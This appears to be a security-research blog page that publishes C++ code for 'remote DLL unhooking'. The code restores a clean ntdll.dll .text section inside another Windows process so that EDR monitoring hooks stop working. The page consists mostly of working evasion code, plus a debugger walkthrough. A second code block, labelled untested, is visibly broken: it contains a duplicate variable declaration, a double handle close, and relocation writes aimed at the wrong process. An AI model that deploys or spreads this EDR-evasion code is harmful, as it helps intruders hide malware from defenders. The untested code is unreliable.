Full Remote DLL Unhooking
Unhook DLLs in a remote process
DLL unhooking is a methodology employed to circumvent detection by endpoint detection and response (EDR) systems. EDRs employ hooks within DLLs that contain Windows API functions to monitor for malicious activity. A comprehensive catalog of EDR hooks is readily accessible at Mr-Un1k0d3rs Github.
Usage
std::string dllName = "ntdll.dll"
int pid = [Code to get process ID of any function]
remoteunhook(dllName, int pid)POC
Open x64dbg.exe and attach it to the target process (ex. procexp64.exe)
Identify a hooked function, I will search for "ZwMapViewOfSection":


E9 indicates ZwMapViewOfSection is hooked. Unhooked ntdll functions are expected to return have BX.
Detach x64dbg.exe and execute the remote dll unhooking tool against the remote process.
Re-attach x64dbg.exe and return to the ZwMapViewOfSection
If successful, there will be a BX value instead of E9

NOTE
The code below will only work with NTDLL.DLL, according to the research where I got the main base of this code from, ntdll doesn't need image base relocations. I have experimental code I have been working on at the bottom of this article but it has no been tested as I am still learning as I go!
Code
int remoteunhook(std::string dllName, int pid) {
	std::string path = "c:\\windows\\system32\\";
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	MODULEINFO mi = {};
	HMODULE dllModule = GetModuleHandleA(dllName.c_str());
	GetModuleInformation(process, dllModule, &mi, sizeof(mi));
	LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE dllFile = CreateFileA(path.append(dllName).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE dllMapping = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID dllMappingAddress = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtectEx(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			SIZE_T bytesWritten = 0;
			WriteProcessMemory(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
			isProtected = VirtualProtectEx(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}
	CloseHandle(process);
	CloseHandle(dllFile);
	CloseHandle(dllMapping);
	FreeLibrary(dllModule);
	return 0;
}UNTESTED CODE:
I don't fully understand everything about PE files yet. This is code that I developed with a lot of research and asking ChatGPT what was wrong with my code LOL. USE AT OWN RISK.
int unhook(std::string test, HANDLE deez) {
	// Set DLL path
	std::string path = "c:\\windows\\system32\\";
	// Open handle to remote process
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessId(deez));
	// Get module information for the DLL to unhook.
	MODULEINFO mi = {};
	HMODULE dllModule = GetModuleHandleA(test.c_str());
	GetModuleInformation(process, dllModule, &mi, sizeof(mi));
	// Get handle to file and create mapping to DLL.
	LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE dllFile = CreateFileA(path.append(test).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE dllFile = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID dllFileAddress = MapViewOfFile(dllFile, FILE_MAP_READ, 0, 0, 0);
	// Get header information for the DLL.
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);
	// Loop through the sections in the DLL.
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		// If the section is .text, change its protection, write the DLL to memory, and update its relocation entry.
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_READWRITE, &oldProtection);
			SIZE_T bytesWritten = 0;
			WriteProcessMemory(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllFileAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
			
			// NTDLL doesn't need image base relocation
			if (test != "ntdll.dll") {
				PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)dllBase + hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
				DWORD relocationSize = hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
				while (relocationSize > 0) {
					DWORD relocationCount = (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
					PWORD relocationData = (PWORD)((DWORD_PTR)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));
					// Update the relocation entries.
					for (DWORD j = 0; j < relocationCount; j++) {
						if ((*relocationData >> 12) == IMAGE_REL_BASED_HIGHLOW) {
							DWORD_PTR entryAddress = (DWORD_PTR)dllBase + baseRelocation->VirtualAddress + (*relocationData & 0xFFF);
							int delta = (int)((DWORD_PTR)dllBase - hookedNtHeader->OptionalHeader.ImageBase);
							// Update the relocation entry
							*((ULONGLONG*)entryAddress) += delta;
						}
						relocationData++;
					}
					relocationSize -= baseRelocation->SizeOfBlock;
					baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)baseRelocation + baseRelocation->SizeOfBlock);
				}
				break;
			}
			// Change memory back to its normal protection
			isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}
	// Close handles and free memory
	CloseHandle(process);
	CloseHandle(dllFile);
	CloseHandle(dllFile);
	FreeLibrary(dllModule);
	return 0;
}Contribution Credit
mantvydasb - Blog Post with original code - Github & Twitter - For the codebase that I used to make this project Mr-Un1k0d3r - For the EDR hook research
Last updated